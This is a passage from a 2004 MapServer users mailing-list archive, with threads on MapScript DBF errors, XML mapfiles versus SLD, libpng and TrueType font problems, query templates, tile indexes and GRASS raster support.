unanswered. > > >> > > >> So I'll try again... > > >> > > >> Platform: > > >> MapServer 4.0.1 > > >> solaris 9 > > >> Perl 5.8.3 > > >> > > >> I want to test an application querying shape files. > > >> My perl mapscript code > > >> ... > > >> $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > > >> my $res = $layer->getResult(0); > > >> $layer->open(); > > >> my $shape=new mapscript::shapeObj($layer->{type}); > > >> my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > > >> my $table = > > >> mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/ > > >> usgs.dbf","r+"); > > >> .... > > >> is terminated with > > >> Can't locate object method "TIEHASH" via package "_DBFHandle". > > >> > > >> Is this a mapscript problem or is something missing in the > > >> installation? > > >> > > >> (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > > >> and got the same error). > > > > > > This sounds familiar to me but I can't remember the details. > > > > > > The solution is to not use mapscript's DBF functions. I've never gotten > > > them to work. Use some other dbase module. I use XBase.pm > > > http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all > > > dbf access of shapefiles. > > > > > > Eric > > > > > > > Will one of you enter this as a new MapScript-SWIG bug? If it turns > > out that > > none of us are using the msDBF* functions through mapscript, then I > > should see > > about removing them from the module. > > > > I too prefer to use XBase much of the time. > > > > For querying, use shapeObj::getValue() to get at the attributes of > > features. > > The following code > > > > for ($i=0; $i<$layer->{numitems}; $i++) { > > $att_name = $layer->getItem($i); > > $att_value = $shape->getValue($i); > > ... > > > > gets attribute names and items. It's a bit awkward that you can't get > > both from > > the same object. If you feel strongly about that, file a new feature > > enhancement > > in Bugzilla. > > > > cheers, > > Sean > > Can it be removed? I was under the impression that TCL/MapScript needed it. > > Lowell Well, as far as I can tell, msDBFOpen() is already removed. No trace of it in mapscript.i. It's not even in any of the docs. So I'm not filing a bug. Agneta, you can use Sean's suggestion or XBase.pm. Strange. I know I saw those DBF utility methods somewhere, sometime ...!? From woodbri at swoodbridge.com Fri May 28 11:04:33 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 28 May 2004 14:04:33 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B77000.4080101@magma.ca> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> <40B763AE.4040304@magma.ca> <40B76C86.4080809@swoodbridge.com> <40B77000.4080101@magma.ca> Message-ID: <40B77F31.9030804@swoodbridge.com> OK so SLD the same as Web Map Contexts? It also sounds like a bunch of this stuff is under active development. How much is ready for prime-time on 4.01 and 4.2? Is there documentation for it, sounds like I have a bunch of reading to do. The only technical reason for going a different route is the fact that a lot of our infrastructure is based on mapscript, perl, php, etc. Converting it to work with WMS and SLD "might" be a lot bigger task than writing a mapfile -> XML -> mapfile converter. -Steve W. Paul Spencer wrote: > this would be WMS and SLD. The limitation would be that MapServer SLD > support does not fully describe all the styling options available to a > normal MapServer layer. > > I think I see where you are going with this, I just don't think it is a > good idea to invent yet another way of doing this if you already have a > mechanism in place that could do it with only minor modifications. > > The concept is good, but it doesn't need to be something new since this > problem has already been solved. Unless there is some technical reason > why WMS/SLD wouldn't serve this purpose? > > Paul > > Stephen Woodbridge wrote: > >> Paul Spencer wrote: >> >>> Um. This sounds a lot like Web Map Contexts ;) Except that only >>> works with WMS data ... but how were you thinking that the client >>> would request the map remotely? >> >> >> >> OK, this is not total thought through yet and there may be better ways >> of doing this. But the idea would be that you could make an xml >> service available that a user could request a mapfile and get it in >> xml, they could then modify colors, layers, min/max scales, and >> labeling (basically the symbology) but not the structure other than >> turning layers on/off. >> >> A variant of this idea would be to create and abstraction of the >> symbology and return that as an xml document and when it is returned >> then regenerate a new mapfile based on the abstraction. When I create >> mapfiles I generate an excel spread sheet with with symbolic layers >> like "ROADS" and then describe the styling and data at the various >> zoom scales and do that for each virtual layer, then that gets >> expanded into a Mapserver mapfile and physical layers. >> >> I kind of like the later option because it is more abstract and hides >> all the syntactic details of a mapserver mapfile which nobody really >> needs to know about. >> >> -Steve >> >>> >>> Stephen Woodbridge wrote: >>> >>>> Sean Gillies wrote: >>>> >>>>> On May 28, 2004, at 5:16 AM, Stephen Woodbridge wrote: >>>>> >>>>>> Hi all, >>>>>> >>>>>> There is a pretty extensive discussion on XML mapfiles in the >>>>>> archives, did anything come of this? Did anyone build any >>>>>> conversion tools? >>>>>> >>>>>> Thanks, >>>>>> -Steve W. >>>>>> >>>>> >>>>> My XML project is not yet bearing any fruit. Are you going to the >>>>> users meeting? >>>>> Maybe we could see if any like-minded folks want to discuss it there. >>>> >>>> >>>> >>>> >>>> >>>> MUM2 is still a question at this point for me. >>>> >>>> I am interested in doing something with Perl. >>>> >>>> One idea is to: >>>> write a perl script to convert maplexer.l into a Parse::Lex script >>>> and mapparser.y to a Parse::Yapp script. This would allow us to >>>> generate perl code that could accurately read mapfiles based on the >>>> mapserver grammar files. - this may be more trouble than it is worth >>>> as I don't know much about these tools. >>>> >>>> My goal would be to be able to read a mapfile and send it as xml to >>>> another client. They could make changes to it and request a map >>>> based on the modified mapfile. The modified mapfile would be >>>> validated and converted back to a Mapfile or would be dynamically >>>> instanciated in Mapscript. I don't think Mapscript supports all the >>>> functionality we need to do the later. >>>> >>>> -Steve >>>> >>>> _______________________________________________ >>>> Mapserver-users mailing list >>>> Mapserver-users at lists.gis.umn.edu >>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >> >> > From devel at itdownunder.com.au Fri May 28 11:07:28 2004 From: devel at itdownunder.com.au (IT Devel) Date: Sat, 29 May 2004 04:07:28 +1000 Subject: [Mapserver-users] Png Error Message-ID: <000301c444de$a505b660$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C44532.76B1C660 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello I am new to MapServ I have MapServ installed on my Red Hat 7.3 server I have installed Workshop and get the following error. libpng warning: Application was compiled with png.h from libpng-1.2.5 libpng warning: Application is running with png.c from libpng-1.0.14 gd-png: fatal libpng error: Incompatible libpng version in application and library [Sat May 29 04:17:46 2004] [error] [client 203.217.45.80] Premature end of script headers: /var/www/cgi-bin/mapserv A locate on png.c returne: [root at tanami mapserver-4.2.0]# locate png.c /usr/src/gd-2.0.22/gd_png.c /usr/src/gd-2.0.22/gd2topng.c /usr/src/gd-2.0.22/gdparttopng.c /usr/src/gd-2.0.22/gdtopng.c /usr/src/gd-2.0.22/webpng.c /usr/src/libpng-1.2.5/contrib/gregbook/readpng.c /usr/src/libpng-1.2.5/contrib/gregbook/wpng.c /usr/src/libpng-1.2.5/contrib/gregbook/writepng.c /usr/src/libpng-1.2.5/contrib/pngminus/pnm2png.c /usr/src/libpng-1.2.5/png.c /usr/src/libpng-1.2.5/projects/borland/libpng.cpp A locate on png.h returns: /usr/include/mozilla-1.0.2/png/png.h /usr/include/png.h.old /usr/local/include/libpng/png.h /usr/local/include/png.h /usr/local/interchange/foundation/pages/survey/graph.png.html /usr/local/interchange/mike/pages/survey/graph.png.html /usr/src/interchange-5.0.0/dist/foundation/pages/survey/graph.png.html /usr/src/interchange-4.9.9/dist/foundation/pages/survey/graph.png.html /usr/src/interchange-5.0.1/dist/foundation/pages/survey/graph.png.html /usr/src/libpng-1.2.5/contrib/gregbook/readpng.h /usr/src/libpng-1.2.5/contrib/gregbook/writepng.h /usr/src/libpng-1.2.5/png.h Any guidance would be greatly appreciated. Andrew Rich ------=_NextPart_000_0004_01C44532.76B1C660 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello

 

I am new to MapServ =

 

I have MapServ installed = on my Red Hat 7.3 server

I have installed Workshop and get the following = error.

 

libpng<= /span> warning: Application was compiled with png.h from = libpng-1.2.5

libpng<= /span> warning: Application  is  running with png.c from libpng-1.0.14

gd-png<= /span>:  fatal libpng error: Incompatible libpng version in = application and library

[Sat May 29 04:17:46 2004] [error] [client = 203.217.45.80] Premature end of script headers: /var/www/cgi-bin/mapserv

 

A locate on png.c returne:

 

[root at tanami = mapserver-4.2.0]# locate png.c

/usr/src/gd-2.0.22/gd_png.c

/usr/src/gd-2.0.22/gd2topng.c=

/usr/src/gd-2.0.22/gdparttopng.c

/usr/src/gd-2.0.22/gdtopng.c<= /p>

/usr/src/gd-2.0.22/webpng.c

/usr/src/libpng-1.2.5/contrib/gregbook/readpng.c<= /o:p>

/usr/src/libpng-1.2.5/contrib/gregbook/wpng.c

/usr/src/libpng-1.2.5/contrib/gregbook/writepng.c=

/usr/src/libpng-1.2.5/contrib/pngminus/pnm2png.c<= /o:p>

/usr/src/libpng-1.2.5/png.c

/usr/src/libpng-1.2.5/projects/borland/libpng.cpp=

 

A locate on png.h returns:

/usr/include/mozilla-1.0.2/png/png.h=

/usr/include/png.h.old

/usr/local/include/libpng/png.h

/usr/local/include/png.h

/usr/local/interchange/foundation/pages/survey/graph.p= ng.html

/usr/local/interchange/mike/pages/survey/graph.png.htm= l

/usr/src/interchange-5.0.0/dist/foundation/pages/surve= y/graph.png.html

/usr/src/interchange-4.9.9/dist/foundation/pages/surve= y/graph.png.html

/usr/src/interchange-5.0.1/dist/foundation/pages/surve= y/graph.png.html

/usr/src/libpng-1.2.5/contrib/gregbook/readpng.h<= /o:p>

/usr/src/libpng-1.2.5/contrib/gregbook/writepng.h=

/usr/src/libpng-1.2.5/png.h

 

Any guidance would be greatly = appreciated.

Andrew Rich

------=_NextPart_000_0004_01C44532.76B1C660-- From subhash at gauss.nmsu.edu Fri May 28 11:25:53 2004 From: subhash at gauss.nmsu.edu (subhash at gauss.nmsu.edu) Date: Fri, 28 May 2004 12:25:53 -0600 Subject: [Mapserver-users] Questions regarding mapserver query mode! Message-ID: <1085768753.40b78431cc7f8@webmail.nmsu.edu> hi, I've been working on the mapserver 3.7 for a while and am facing a little problem with the 'query mode' of the mapserver. I was able to retreive the data in the shape file using some query templates, (as used in the tutorial and itasca examples). The templates are HTML templates where the values are directly replaced by variables like [lrn], [AREA] etc. but is there a way that i can keep a php file as a template file and take the values returned by mapserver query into the php variables, so that i can execute my own database queries based on the results. If I can do this, please let me know how can i do it? or else, please let me know if there is another way to retreive data from the mapserver query and execute my own queries on it. thanks, subhash. From deathsushi at hotmail.com Fri May 28 11:33:31 2004 From: deathsushi at hotmail.com (Adam Quiney) Date: Fri, 28 May 2004 18:33:31 +0000 Subject: [Mapserver-users] True-type font issues Message-ID: Hello all, I've searched for this item on both the mailing list and google, but haven't found anything that solves the problem - I'm getting this error message when using both a mapfile we have set up, and a mapfile from the MapServer 4.0 tutorial: msGetLabelSize(): TrueType Font error. Could not find/open font I have tried copying the fonts to multiple directories in the htdocs root, but to no effect. I know that the fonts.list file is being read correctly. The fonts file we are using looks like: arial arial.ttf The file provided by the tutorial is similar but contains many more fonts. I have tried changing the arial.ttf filename to include a relative path, an absolute path (using both forward slashes one time and backward slashes the next time) all to no avail. The system I am running on is a Windows 2000 machine. Any help or suggestions would be greatly appreciated. --Adam _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From rich at greenwoodmap.com Fri May 28 11:58:35 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 28 May 2004 12:58:35 -0600 Subject: [Mapserver-users] selection hilite_ basic question In-Reply-To: References: Message-ID: <40B78BDB.1070304@greenwoodmap.com> andre shue wrote: > Hi Steve and List, > I am pretty new and unexperienced to the MS, it might be a stupid > quest... anyway, I got the demo running, changed some layers, but when > selecting a polygon via itemquery I am not sure. I can do an attribut > search and also get results via template [area] [name] yet no map. I > know I can get a map via querymap, but could not go any further on this. > I dont know how to build up an template with a map, including the > selected polygon marked and in the centre of the map.... > As the where any examples I would be happy. > As you have any hints, please remember, I am a Geographer and low level > programmer. > Thanks a lot. Displaying a map is not much different than displaying the attribute data. But you must have a QUERYMAP definition. For example: QUERYMAP STATUS ON STYLE SELECTED END This goes in the map file, not in a layer definition. I usually just use the same template for all maps on a given site. -- Richard Greenwood www.greenwoodmap.com From lfilak at medinaco.org Fri May 28 10:18:57 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 28 May 2004 13:18:57 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <20040528171834.524F91A659B@mail.medinaco.org> The following message was sent by Sean Gillies on Fri, 28 May 2004 11:03:39 -0600. > > On May 28, 2004, at 10:30 AM, Lowell Filak wrote: > > > The following message was sent by Sean Gillies on > > Fri, 28 May 2004 08:00:31 -0600. > > > >> Will one of you enter this as a new MapScript-SWIG bug? If it turns > >> out that > >> none of us are using the msDBF* functions through mapscript, then I > >> should see > >> about removing them from the module. > >> > > > > Can it be removed? I was under the impression that TCL/MapScript > > needed it. > > > > Lowell > > > > > > The mapscriptsupp.tcl file hasn't been modified since MapServer 3.5. > I'll bet > a beer at MUM2 that it is already broken in spots against MapServer 4.3 > (CVS). > > I'd really like to know if there are any users of it. I won't make any > radical > changes without finding out. But, as a general principle, I advocate > removing > unused stuff from the module as soon as we can safely do so. > > cheers, > Sean I'm also pretty certain it's broken (for a while). I think the discussion on it dates back a bit and I don't recall a fix. The biggest area of use for TCL/MapScript is workbench which doesn't appear to have had any maintenance in quite a while and I don't suppose it would be too much to change it to Perl/TK depending on interest given MapLab & later projects. Lowell From dmorissette at dmsolutions.ca Fri May 28 12:28:13 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 28 May 2004 15:28:13 -0400 Subject: [Mapserver-users] XML Mapfile In-Reply-To: <40B77F31.9030804@swoodbridge.com> References: <40B71F95.9010305@swoodbridge.com> <8F76E097-B0B3-11D8-BAD4-000D9329D732@frii.com> <40B75F43.5080301@swoodbridge.com> <40B763AE.4040304@magma.ca> <40B76C86.4080809@swoodbridge.com> <40B77000.4080101@magma.ca> <40B77F31.9030804@swoodbridge.com> Message-ID: <40B792CD.5060305@dmsolutions.ca> Stephen Woodbridge wrote: > OK so SLD the same as Web Map Contexts? > It also sounds like a bunch of this stuff is under active development. > How much is ready for prime-time on 4.01 and 4.2? > Is there documentation for it, sounds like I have a bunch of reading to do. > SLD is all there and stable in 4.2. With respect to docs, I don' With respect to docs, it's still a draft that will eventually make it into the official MapServer docs. This is the topic of a bug: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=625 The draft is there as an attachment to the bug. > The only technical reason for going a different route is the fact that a > lot of our infrastructure is based on mapscript, perl, php, etc. > Converting it to work with WMS and SLD "might" be a lot bigger task than > writing a mapfile -> XML -> mapfile converter. > I think SLD is the way to go: an SLD can easily be applied to a map object inside a MapScript script, so I don't think you would need to change your system that much. The only drawback in your case may be the overhead of processing the same SLD for every map request... but then you could just preprocess the SLDs into mapfiles and that's still simpler than building a complete mapfile -> XML -> mapfile convertor. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From lfilak at medinaco.org Fri May 28 12:43:46 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 28 May 2004 15:43:46 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <20040528194322.CE8B81A659B@mail.medinaco.org> The following message was sent by Eric Bridger on 28 May 2004 13:47:16 -0400. > On Fri, 2004-05-28 at 12:30, Lowell Filak wrote: > > The following message was sent by Sean Gillies on > > Fri, 28 May 2004 08:00:31 -0600. > > > > > On May 28, 2004, at 6:38 AM, Eric Bridger wrote: > > > > > > > On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: > > > >> Hello mapserver-users, > > > >> > > > >> I've searched the mail archive and found 2 messages on this topic, > > > >> both were, however, unanswered. > > > >> > > > >> So I'll try again... > > > >> > > > >> Platform: > > > >> MapServer 4.0.1 > > > >> solaris 9 > > > >> Perl 5.8.3 > > > >> > > > >> I want to test an application querying shape files. > > > >> My perl mapscript code > > > >> ... > > > >> $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > > > >> my $res = $layer->getResult(0); > > > >> $layer->open(); > > > >> my $shape=new mapscript::shapeObj($layer->{type}); > > > >> my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > > > >> my $table = > > > >> mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/ > > > >> usgs.dbf","r+"); > > > >> .... > > > >> is terminated with > > > >> Can't locate object method "TIEHASH" via package "_DBFHandle". > > > >> > > > >> Is this a mapscript problem or is something missing in the > > > >> installation? > > > >> > > > >> (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > > > >> and got the same error). > > > > > > > > This sounds familiar to me but I can't remember the details. > > > > > > > > The solution is to not use mapscript's DBF functions. I've never gotten > > > > them to work. Use some other dbase module. I use XBase.pm > > > > http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all > > > > dbf access of shapefiles. > > > > > > > > Eric > > > > > > > > > > Will one of you enter this as a new MapScript-SWIG bug? If it turns > > > out that > > > none of us are using the msDBF* functions through mapscript, then I > > > should see > > > about removing them from the module. > > > > > > I too prefer to use XBase much of the time. > > > > > > For querying, use shapeObj::getValue() to get at the attributes of > > > features. > > > The following code > > > > > > for ($i=0; $i<$layer->{numitems}; $i++) { > > > $att_name = $layer->getItem($i); > > > $att_value = $shape->getValue($i); > > > ... > > > > > > gets attribute names and items. It's a bit awkward that you can't get > > > both from > > > the same object. If you feel strongly about that, file a new feature > > > enhancement > > > in Bugzilla. > > > > > > cheers, > > > Sean > > > > Can it be removed? I was under the impression that TCL/MapScript needed it. > > > > Lowell > > Well, as far as I can tell, msDBFOpen() is already removed. No trace of > it in mapscript.i. It's not even in any of the docs. So I'm not filing a > bug. Agneta, you can use Sean's suggestion or XBase.pm. > > Strange. I know I saw those DBF utility methods somewhere, sometime > ...!? > Eric Your not loosing your mind :-) It was documented through 3.6 but after MUM I dumped it from the doc because it was starting to cause problems at that point. I think it (or at least the start of the DBFxxxx objects) are still in the 3.5 doc. Lowell From jenu_ab at hotmail.com Fri May 28 12:44:48 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Fri, 28 May 2004 14:44:48 -0500 Subject: [Mapserver-users] virtual spatial data-ODBC:configuration-windows Message-ID: Hey guys (chip, joost, zac) Got the problem fixed.... Its simple... when setting up the ODBC for the system DSN In the window where it asks which type of authentication- > go for the with SQL server instead of Windows NT next rember to check the Connect SQL servere to obtain default settings and enter the username and password --------------------------- the problem was ogrinfo was working still with windowsNT authentication and with SQL server without obtaining the default settings... But mapserver.exe wont work with those settings... ---------------- even though i havnt been able to plot a point on my map... atleast the connection problem is over for now.... thanks cheers jenu _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar ? get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From rich at greenwoodmap.com Fri May 28 12:41:03 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 28 May 2004 13:41:03 -0600 Subject: [Mapserver-users] True-type font issues In-Reply-To: References: Message-ID: <40B795CF.9030508@greenwoodmap.com> Adam Quiney wrote: > Hello all, > > I've searched for this item on both the mailing list and google, but > haven't found anything that solves the problem - I'm getting this error > message when using both a mapfile we have set up, and a mapfile from the > MapServer 4.0 tutorial: > > msGetLabelSize(): TrueType Font error. Could not find/open font > > I have tried copying the fonts to multiple directories in the htdocs > root, but to no effect. I know that the fonts.list file is being read > correctly. The fonts file we are using looks like: > > arial arial.ttf > > The file provided by the tutorial is similar but contains many more fonts. > > I have tried changing the arial.ttf filename to include a relative path, > an absolute path (using both forward slashes one time and backward > slashes the next time) all to no avail. > > The system I am running on is a Windows 2000 machine. > > Any help or suggestions would be greatly appreciated. > > --Adam Two things that might help: 1. The font names are case sensitive (even on Windows). 2. Put the font.list in the same directory as the fonts themselves. Then in your map file put the full path to the font.list in a FONTSET definition. For example: FONTSET "/www/htdocs/mapserver/fonts/font.list" This is a path to a file in the file system, not an http path. But use forward slashes (/) even on Windows. -- Richard Greenwood www.greenwoodmap.com From lfilak at medinaco.org Fri May 28 09:30:32 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 28 May 2004 12:30:32 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <20040528163009.A263B1A659B@mail.medinaco.org> The following message was sent by Sean Gillies on Fri, 28 May 2004 08:00:31 -0600. > On May 28, 2004, at 6:38 AM, Eric Bridger wrote: > > > On Fri, 2004-05-28 at 05:54, Agneta Schick wrote: > >> Hello mapserver-users, > >> > >> I've searched the mail archive and found 2 messages on this topic, > >> both were, however, unanswered. > >> > >> So I'll try again... > >> > >> Platform: > >> MapServer 4.0.1 > >> solaris 9 > >> Perl 5.8.3 > >> > >> I want to test an application querying shape files. > >> My perl mapscript code > >> ... > >> $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > >> my $res = $layer->getResult(0); > >> $layer->open(); > >> my $shape=new mapscript::shapeObj($layer->{type}); > >> my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > >> my $table = > >> mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/ > >> usgs.dbf","r+"); > >> .... > >> is terminated with > >> Can't locate object method "TIEHASH" via package "_DBFHandle". > >> > >> Is this a mapscript problem or is something missing in the > >> installation? > >> > >> (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > >> and got the same error). > > > > This sounds familiar to me but I can't remember the details. > > > > The solution is to not use mapscript's DBF functions. I've never gotten > > them to work. Use some other dbase module. I use XBase.pm > > http://search.cpan.org/~janpaz/DBD-XBase-0.241/lib/XBase.pm to do all > > dbf access of shapefiles. > > > > Eric > > > > Will one of you enter this as a new MapScript-SWIG bug? If it turns > out that > none of us are using the msDBF* functions through mapscript, then I > should see > about removing them from the module. > > I too prefer to use XBase much of the time. > > For querying, use shapeObj::getValue() to get at the attributes of > features. > The following code > > for ($i=0; $i<$layer->{numitems}; $i++) { > $att_name = $layer->getItem($i); > $att_value = $shape->getValue($i); > ... > > gets attribute names and items. It's a bit awkward that you can't get > both from > the same object. If you feel strongly about that, file a new feature > enhancement > in Bugzilla. > > cheers, > Sean Can it be removed? I was under the impression that TCL/MapScript needed it. Lowell From dmorissette at dmsolutions.ca Fri May 28 12:44:43 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 28 May 2004 15:44:43 -0400 Subject: [Mapserver-users] querymap object in php/mapscript In-Reply-To: <7696.212.238.227.182.1085739765.squirrel@webmail.xs4all.nl> References: <40B5E544.1010403@aris.nl> <40B60570.2060006@dmsolutions.ca> <40B70996.4050008@aris.nl> <7696.212.238.227.182.1085739765.squirrel@webmail.xs4all.nl> Message-ID: <40B796AB.20805@dmsolutions.ca> bartvde at xs4all.nl wrote: > Hi, > > according to the following bug there is not yet a QueryMapObj in > PHP/Mapscript: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=535 > Nice catch Bart! I should have RTFM before replying! :) -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Fri May 28 12:11:15 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 28 May 2004 14:11:15 -0500 Subject: [Mapserver-users] nested tiles Message-ID: I think in theory, at least with raster data, ANY layer should usable as a index as long it contains polygon features. I know you can use PostGIS or SDE layers as index layers so... Give it a try, easy enough to test if you can get the data setup right. Steve >>> Stephen Woodbridge 5/28/2004 10:29:34 AM >>> Jan Hartmann wrote: > > > Ed McNierney wrote: > >> Jan - >> >> Yes, I agree with Steve - I doubt you need this. I would recommend you >> create a single tileindex and then be sure to create quadtree index on >> the tileindex by using shptree. YES, Yes, yes! you should create shptree (*.qix) files for ALL shapefiles. Everybody should remember this for all shapefiles as it provides a significant performance boost in in 99.99% of the cases. find /path/to/data -follow -name "*.shp" -exec shptree {} \; > OK, I'll do that; it's a small country after all. The quadtree is a good > suggestion, perhaps that's what I did read about. Just for the record: > *are* nested tiles possible? Not that I know of. I don't know if the new changes that Steve Lime made to separate off the tileindex into it's own layer might provide functionality for such a feature or not. -Steve W. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dinen at reimertechnologygroup.com Fri May 28 13:37:08 2004 From: dinen at reimertechnologygroup.com (Dinen Subramaniam) Date: Fri, 28 May 2004 15:37:08 -0500 Subject: [Mapserver-users] nested tiles In-Reply-To: <40B75089.3030809@uva.nl> Message-ID: <200405281537272.SM01840@wprwc214> Jan, I have tried nested tiling but you don't get the desired results. There is no error generated but the polygons representing the tiles at the second layer are rendered. That is the second layer of tile indexes are treated like a regular shape file, and its polygons are rendered. This can be interesting if you have used shp2tile with the -q option and want to see where your tiles are. Dinen -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jan Hartmann Sent: Friday, May 28, 2004 9:45 AM To: Ed McNierney Cc: Mapserver Users List Subject: Re: [Mapserver-users] nested tiles Ed McNierney wrote: > Jan - > > Yes, I agree with Steve - I doubt you need this. I would recommend you > create a single tileindex and then be sure to create quadtree index on > the tileindex by using shptree. > OK, I'll do that; it's a small country after all. The quadtree is a good suggestion, perhaps that's what I did read about. Just for the record: *are* nested tiles possible? Jan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --- [This E-mail scanned for viruses by Declude Virus] --- [This E-mail scanned for viruses by Declude Virus] From deathsushi at hotmail.com Fri May 28 13:52:55 2004 From: deathsushi at hotmail.com (Adam Quiney) Date: Fri, 28 May 2004 20:52:55 +0000 Subject: [Mapserver-users] True-type font issues Message-ID: Alas, we have done exactly that, and still no success. The same problem continues to occur. Is there anyway I can get more debug information about where MapServer is looking for the fonts? --Adam >From: Richard Greenwood >To: Adam Quiney >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] True-type font issues >Date: Fri, 28 May 2004 13:41:03 -0600 > >Adam Quiney wrote: > >>Hello all, >> >>I've searched for this item on both the mailing list and google, but >>haven't found anything that solves the problem - I'm getting this error >>message when using both a mapfile we have set up, and a mapfile from the >>MapServer 4.0 tutorial: >> >>msGetLabelSize(): TrueType Font error. Could not find/open font >> >>I have tried copying the fonts to multiple directories in the htdocs root, >>but to no effect. I know that the fonts.list file is being read >>correctly. The fonts file we are using looks like: >> >>arial arial.ttf >> >>The file provided by the tutorial is similar but contains many more fonts. >> >>I have tried changing the arial.ttf filename to include a relative path, >>an absolute path (using both forward slashes one time and backward slashes >>the next time) all to no avail. >> >>The system I am running on is a Windows 2000 machine. >> >>Any help or suggestions would be greatly appreciated. >> >>--Adam > >Two things that might help: >1. The font names are case sensitive (even on Windows). >2. Put the font.list in the same directory as the fonts themselves. Then in >your map file put the full path to the font.list in a FONTSET definition. >For example: > FONTSET "/www/htdocs/mapserver/fonts/font.list" >This is a path to a file in the file system, not an http path. But use >forward slashes (/) even on Windows. > > >-- >Richard Greenwood >www.greenwoodmap.com >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From lcheng at ucalgary.ca Fri May 28 14:16:00 2004 From: lcheng at ucalgary.ca (Charlie Cheng) Date: Fri, 28 May 2004 15:16:00 -0600 Subject: [Mapserver-users] Content-type: text/html msReturnPage(): unable to access file. Message-ID: <200405282116.i4SLG0d26791@smtp1.ucalgary.ca> Hi!Dear Lists, I just start user mapserver a few days ago. I use Mapserver4.02 on WIndowxp and Apache web server. When I connect to mapfile in mode=browse, the error message is "Content-type: text/html msReturnPage(): unable to access file. test.html My mapfile and html file are same as turtorial example 2-2, the example 2-2 worked. Thank you very much!! -- Li Cheng (Charlie) MGIS Candidate Department of Geography University of Calgary E-mail: lcheng at ucalgary.ca From rich at greenwoodmap.com Fri May 28 08:23:44 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 28 May 2004 15:23:44 +0000 Subject: [Mapserver-users] GRASS raster support In-Reply-To: <40B638CE.2010707@pobox.com> References: <40B59DE1.2020706@greenwoodmap.com> <40B638CE.2010707@pobox.com> Message-ID: <40B75980.3080909@greenwoodmap.com> Frank Warmerdam wrote: > Richard Greenwood wrote: > >> I've run into a glitch displaying GRASS rasters in 4.0.1 and 4.2.0. >> Mapserver reports an error that the GRASS raster is not a valid EPPL >> file, so I recompiled --without-eppl but still no joy: >> >> drawEPP(): Image handling error. EPPL7 support is not available. >> >> How can I avoid drawEPP() and force GDAL to render? > > > Richard, > > This message generally means that the file wasn't recognised by any of the > existing drivers and fell through to the "last chance" drawEPP(). I would > suggest there is a problem with the GRASS driver in GDAL not recognising > your > reference to a GRASS cell layer. Perhaps you should try and diagnose this > aspect externally first using gdalinfo. > > Best regards, Thanks Frank. That was the clue I needed. For the archives: My problem was that I did not have a .grassrc5 in the htdocs directory. -- Richard Greenwood www.greenwoodmap.com From Zamil.Murji at divestco.com Fri May 28 15:14:17 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Fri, 28 May 2004 16:14:17 -0600 Subject: [Mapserver-users] Is my mapserver compiled again freetype 2.x or freetype 1.x Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303B5819@DIV-MX02.divestco> mapserv -v returns the following MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG 